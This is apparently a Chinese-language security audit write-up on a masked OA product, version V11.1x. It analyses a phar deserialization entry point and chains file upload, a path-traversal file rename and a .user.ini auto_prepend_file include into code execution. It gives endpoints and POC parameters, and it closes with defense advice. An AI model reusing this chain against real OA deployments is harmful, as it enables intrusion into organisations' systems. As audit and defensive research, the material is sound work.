记一次有趣的某达OA审计过程
字数 1858 2025-08-22 22:47:30
某达OA V11.1x 安全审计与漏洞利用分析
概述
本文档详细记录了某达OA系统V11.1x版本的安全审计过程,重点分析了phar反序列化漏洞、文件上传漏洞以及相关利用链的构造方法。通过源码审计和实际测试,发现了多个安全漏洞并成功构造了利用链。
环境准备
- 源码获取:通过同事提供的压缩包获取某达OA V11.1x版本的源码
- 源码解密:使用SeayDzend工具对加密的PHP源码进行解密
- 环境搭建:搭建本地测试环境,便于动态调试和漏洞验证
phar反序列化漏洞分析
触发点定位
通过全局搜索phar关键字,定位到file_nums.php文件存在phar反序列化漏洞:
// general/netdisk/file_nums.php
require_once "inc/auth.inc.php";
include_once "inc/utility_file.php";
include_once "inc/utility_all.php";
ob_end_clean();
$DIR = iconv2os($DIR);
$msg = sprintf(_("共%d个文件"), dir_file_nums("$DIR"));
echo $msg;
漏洞触发URL:
/general/netdisk/file_nums.php?DIR=phar://恶意文件路径
POP链构造尝试
尝试1:任意文件删除
目标类:Shared\XMLWriter.php
public function __destruct() {
if ($this->tempFileName)
unlink($this->tempFileName);
}
失败原因:该类没有命名空间,无法在反序列化时被调用
尝试2:RCE链构造
链一:
__destruct -> close() -> flush() -> handleBatch() -> handle()
__destruct调用close()close()调用flush()flush()调用handleBatch()handleBatch()调用handle()handle()中存在危险函数调用:
$record = Handler\call_user_func($processor, $record);
链二:
__destruct -> close -> flush -> handleBatch -> processRecord
__destruct调用close()close()调用flush()flush()调用handleBatch()handleBatch()调用processRecord()processRecord()中存在危险函数调用:
$record = Handler\call_user_func($processor, $record);
失败原因:
- 错误认为
$this->handle可控,实际不可控 - 链记录过程混乱,导致多次重新开始
- 尝试
__call方法未成功
构造经验总结
- 优先检查类是否有命名空间,无命名空间的类无法用于反序列化链
- 从
__destruct开始向下延伸,每一步做好记录 - 绘制树状图清晰记录链的走向
- 注意区分
$this->method()和$this->object->method()的区别
文件上传+文件移动+文件包含漏洞组合利用
文件上传分析
上传接口:
POST /module/upload/upload.php HTTP/1.1
关键参数:
module: 上传目录name: 文件名Filedata: 文件内容
上传限制:
- 文件名不能包含非法字符:
../,..\,./,.\,:,*,?,",<,>,| - 文件后缀前三位不能是
php(如php,php3,phar等) - 目标路径若在webroot下,必须包含
attachment目录
文件移动漏洞
移动接口:
/general/picture/rename_action_submit.php
关键参数:
PIC_PATH: 基础路径PIC_NAME: 原文件名NEW_NAME: 新文件名
移动函数:
td_rename(iconv2os($PIC_PATH_OLD), iconv2os($PIC_PATH));
移动限制:
- 目标路径必须包含
attachment - 移动的文件后缀不能包含
2a.php
组合利用思路
- 上传
.user.ini和恶意内容文件(如hello.txt) - 利用文件移动漏洞将文件移动到web可访问目录
- 通过
.user.ini的auto_prepend_file设置实现文件包含
具体攻击步骤
-
上传文件:
- 上传
1.ini,内容为:auto_prepend_file=hello.txt - 上传
hello.txt,内容为PHP代码:<?php echo "hello"?>
- 上传
-
移动文件:
- 将
1.ini移动到:/webroot/general/system/attachment/test/.user.ini - 将
hello.txt移动到:/webroot/general/system/attachment/test/hello.txt
- 将
-
触发漏洞:
- 访问web目录下任意PHP文件(如
2a.php),系统会自动包含hello.txt中的恶意代码
- 访问web目录下任意PHP文件(如
文件移动POC示例
-
移动整个目录:
NEW_NAME=../../general/system/attachment/test&PIC_PATH=/tonda/webroot/attachment/office_auto/ -
移动单个文件:
PIC_PATH=/tonda&PIC_NAME=/attach/file_folder/2408/17203783.hello.txt&NEW_NAME=/webroot/general/system/attachment/test/hello -
移动
.user.ini:PIC_PATH=/tonda&PIC_NAME=/attach/file_folder/2408/17203783.1.ini&NEW_NAME=/webroot/general/system/attachment/test/.user
防御建议
-
phar反序列化防御:
- 禁用phar协议或严格过滤输入
- 更新PHP到最新版本
-
文件上传防御:
- 严格限制上传文件类型
- 对上传文件进行重命名
- 存储上传文件到非web可访问目录
-
文件操作防御:
- 严格校验文件移动的目标路径
- 禁止跨目录移动文件
- 对用户输入进行规范化处理
-
文件包含防御:
- 禁用
.user.ini中的危险配置 - 限制
auto_prepend_file和auto_append_file的使用
- 禁用
总结
通过对某达OA系统的深入审计,发现了phar反序列化和文件上传+移动+包含的组合漏洞。在实际利用中需要注意:
- 反序列化链的构造需要仔细分析类之间的关系
- 文件移动操作需要满足系统特定的路径限制
- 组合利用多个漏洞可以绕过单一漏洞的防护措施
这份文档详细记录了漏洞发现和利用的全过程,可作为类似系统安全审计的参考。